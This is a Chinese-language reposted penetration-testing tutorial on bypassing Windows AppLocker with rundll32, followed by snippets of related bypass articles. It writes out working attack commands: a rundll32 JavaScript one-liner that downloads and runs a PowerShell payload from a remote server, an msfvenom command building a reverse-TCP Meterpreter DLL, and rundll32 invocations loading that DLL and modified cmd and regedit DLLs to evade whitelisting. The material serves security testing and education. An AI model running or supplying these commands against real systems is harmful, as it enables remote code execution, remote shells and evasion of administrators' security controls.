绕过AppLocker系列之Rundll32的利用

本文讲的是绕过AppLocker系列之Rundll32的利用,Rundll32是一个可以执行DLL文件内的代码的Microsoft二进制文件。由于此实用程序是Windows操作系统的一部分,因此可以将其用作一种绕过AppLocker规则或软件限制策略的方法。所以如果系统环境没有正确的锁定某些设置,那么用户就可以使用这个二进制文件做一些事情,他们也可以编写自己的DLL,来绕过任何限制或执行恶意的JavaScript代码。

Rundll32 – JavaScript

可以使用rundll32这个二进制文件来执行已经嵌入有效载荷并且托管在Web服务器上的JavaScript代码。Metasploit的Web传递模块可以快速的创建一个将用于特定有效负载(Python,PHP或PowerShell)的Web服务器。在本文的演示中,有效负载用的是PowerShell。

exploit/multi/script/web_delivery

Web Delivery模块配置

需要从cmd中执行以下命令。如果命令提示符被锁定而不能运行,可以使用下面描述的方法解锁cmd。

rundll32.exe javascript:"..mshtml,RunHTMLApplication ";document.write();new%20ActiveXObject("WScript.Shell").Run("powershell -nop -exec bypass -c IEX (New-Object Net.WebClient).DownloadString('http://ip:port/');"

Rundll32 执行 JavaScript代码

Rundll32将执行任意代码,并返回一个Meterpreter会话。这样做的好处是,不需要在磁盘上写文件就可以绕过AppLocker规则。但是PowerShell要允许在系统上运行才行。

Web Delivery有效载荷

Rundll32 – Meterpreter

可以使用Metasploit 的Msfvenom来创建一个包含meterpreter有效载荷的自定义DLL文件:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.100.3 LPORT=44444 -f dll -o pentestlab.dll

Msfvenom DLL生成

然后,rundll32实用程序就可以加载并执行pentestlab.dll文件中的有效载荷。

rundll32 shell32.dll,Control_RunDLL C:Userspentestlab.dll

利用Rundll32执行DLL绕过AppLocker  

获取到一个meterpreter 会话。

Rundll32 返回的 Meterpreter会话

运行cmd

在通过AppLocker规则锁定禁止cmd运行的Windows系统中,可以通过将恶意DLL文件注入到合法的进程来绕过此限制。Didier Stevens通过使用从ReactOS开源项目获得的变种,以DLL文件的形式发布了一个修改版本的cmd

AppLocker禁止cmd运行

由于rundll32是受信任的Microsoft实用程序,因此可以将cmd.dll加载到进程中,执行DLL中的代码,因此这样就可以绕过AppLocker规则并打开cmd。以下两个命令可以在Windows中执行:

rundll32 C:cmd.dll,EntryPoint rundll32 shell32.dll,Control_RunDLL C:cmd.dll

Rundll32 – DLL加载入口点函数

Rundll32 – DLL加载Control Run函数

代码将通过rundll32执行,之后会打开一个cmd窗口。

Rundll32 –绕过cmd禁止运行的限制

注册表

相同的绕过技术也可以应用在注册表被锁定禁止运行的系统中。Didier Stevens还发布了一个修改版本的注册表编辑器,形式也是一个DLL文件,和上面提到的修改过的cmd是一样的。

AppLocker – 注册表被阻止运行

以下命令可以通过rundll32加载并运行regedit.dll,可以绕过AppLocker规则。

rundll32 C:regedit.dll,EntryPoint rundll32 shell32.dll,Control_RunDLL C:regedit.dll

AppLocker – Rundll32运行注册表程序

绕过AppLocker – 打开了注册表程序

绕过AppLocker –通过 Rundll32解锁运行注册表程序

原文发布时间为:2017年6月27日

本文作者:丝绸之路

本文来自合作伙伴嘶吼,了解相关信息可以关注嘶吼网站。

原文链接

时间: 2024-10-09 18:58:09

绕过AppLocker系列之Rundll32的利用的相关文章

绕过AppLocker系列之控制面板的利用

本文讲的是绕过AppLocker系列之控制面板的利用,使用默认规则实现AppLocker不能提供任何充分的保护,因为通过使用合法的Windows二进制文件和利用常见的系统错误配置就会产生多个绕过方法.在Windows系统中,当用户打开控制面板时,会加载多个CPL文件.这些CPL文件的列表是从注册表中获得的. Francesco Mifsud  发现,当启动控制面板时,将检查以下两个注册表位置,然后加载CPL. HKLMSoftwareMicrosoftWindowsCurrentVersionC

绕过AppLocker系列之MSBuild的利用

本文讲的是绕过AppLocker系列之MSBuild的利用,Microsoft已经在.NET框架中发布了许多可以编译和执行代码的二进制文件.最初引入了MSBuild,以便开发人员在不安装Visual Studio的环境中构建产品.具体来说,这个二进制文件可以编译XML C#项目文件,因为它有一个名为Tasks的方法,可以执行一个写入托管代码的任务.但是,由于此方法可以操作代码而且MSBuild是受信任的Microsoft二进制文件并且可以执行代码,因此,攻击者可能会滥用它,用来绕过AppLock

绕过AppLocker系列之MSIEXEC的利用

本文讲的是绕过AppLocker系列之MSIEXEC的利用,MSIEXEC是Windows操作系统中的一个实用程序,可用于从命令行安装或配置产品. 如果环境配置不正确,则使用.MSI文件就可以允许攻击者执行权限升级或绕过AppLocker规则. 本文的以下内容表明,当系统配置为不阻止所有用户执行MSI文件时,那么系统就得不到正确的保护,因为任何一个AppLocker的可执行规则都可以轻松绕过. 可以使用Metasploit 的MsfVenom来生成用于执行命令或有效载荷的.MSI文件. msfv

绕过AppLocker系列之弱路径规则的利用

本文讲的是绕过AppLocker系列之弱路径规则的利用,默认情况下,AppLocker规则允许Windows文件夹和Program 文件夹内的所有文件执行,否则系统将无法正常运行. 如果这些文件夹中没有设置适当的权限,攻击者就可以利用此权限绕过AppLocker. 默认情况下,Windows 环境(Windows Server 2008 R2中进行了检查),允许系统的标准用户在这些文件夹中具有读写权限: C:WindowsTasks C:WindowsTemp C:Windowstracing

绕过AppLocker系列之Regasm和Regsvcs的利用

本文讲的是绕过AppLocker系列之Regasm和Regsvcs的利用,Regasm和Regsvcs都是用于向COM对象注册程序集文件的Microsoft二进制文件. 这些二进制文件可以在.NET框架中找到,并且由于它们是可信的,所以这两个Microsoft实用程序可以用于绕过AppLocker限制和执行任意代码. Casey Smith发现可以操纵这些可执行文件的功能,用于执行恶意代码. 唯一的要求是组装的文件需要使用强名称进行签名. Microsoft已经发布了名为Sn.exe(Stron

绕过UAC系列之 SDCLT的利用

本文讲的是绕过UAC系列之 SDCLT的利用,SDCLT是Windows系统(Windows 7及更高版本)中使用的Microsoft二进制文件,允许用户执行备份和恢复操作. 但是它只是 Windows 将autoElevate设置为"true"的所有Microsoft二进制文件中的一个. 这一点可以通过使用sysinternals中的Sigcheck工具并浏览其清单文件进行验证: sdclt 的 autoelevate被设置为true Matt Nelson发现了两种可以允许用户在W

看我如何利用文件扩展名绕过AppLocker?

本文讲的是看我如何利用文件扩展名绕过AppLocker?,绕过AppLocker的限制通常需要使用Microsoft信任的二进制文件来执行代码或弱路径规则.然而,在系统中,系统已经配置了默认规则,并且允许使用命令提示符和PowerShell来通过使用具有不同文件扩展名的有效载荷来绕过AppLocker. 可以使用Metasploit 的Web delivery模块来托管要使用到的powershell有效载荷,并从目标中检索传入的连接. exploit/multi/script/web_deliv

如何利用msxsl绕过AppLocker?

本文讲的是如何利用msxsl绕过AppLocker?, 0x00 前言 Casey Smith@subTee在twitter分享的一个技巧,使用包含微软签名的msxsl.exe能够执行JScript代码,从而实现对Applocker的绕过. 如图 twitter地址如下: https://twitter.com/subTee/status/877616321747271680 POC地址如下: https://gist.github.com/subTee/47f16d60efc9f7cfefd6

Openstack Keystone身份验证模块出现安全绕过漏洞CVE-2017-2673 已经出现漏洞利用工具

开源平台Openstack的身份验证模块Keystone出现 安全绕过漏洞 ,黑客如果成功利用漏洞,可能绕过某些预期的安全限制,并执行未经授权的操作,并发动进一步的攻击. 影响范围 OpenStack Kesytone 10.0.0, 10.0.1 and 11.0.0 均受影响,其它版本也可能受影响.目前漏洞利用工具已经开始流传. Keystone是什么 Keystone(OpenStack Identity Service)是 OpenStack 框架中负责管理身份验证.服务规则和服务令牌功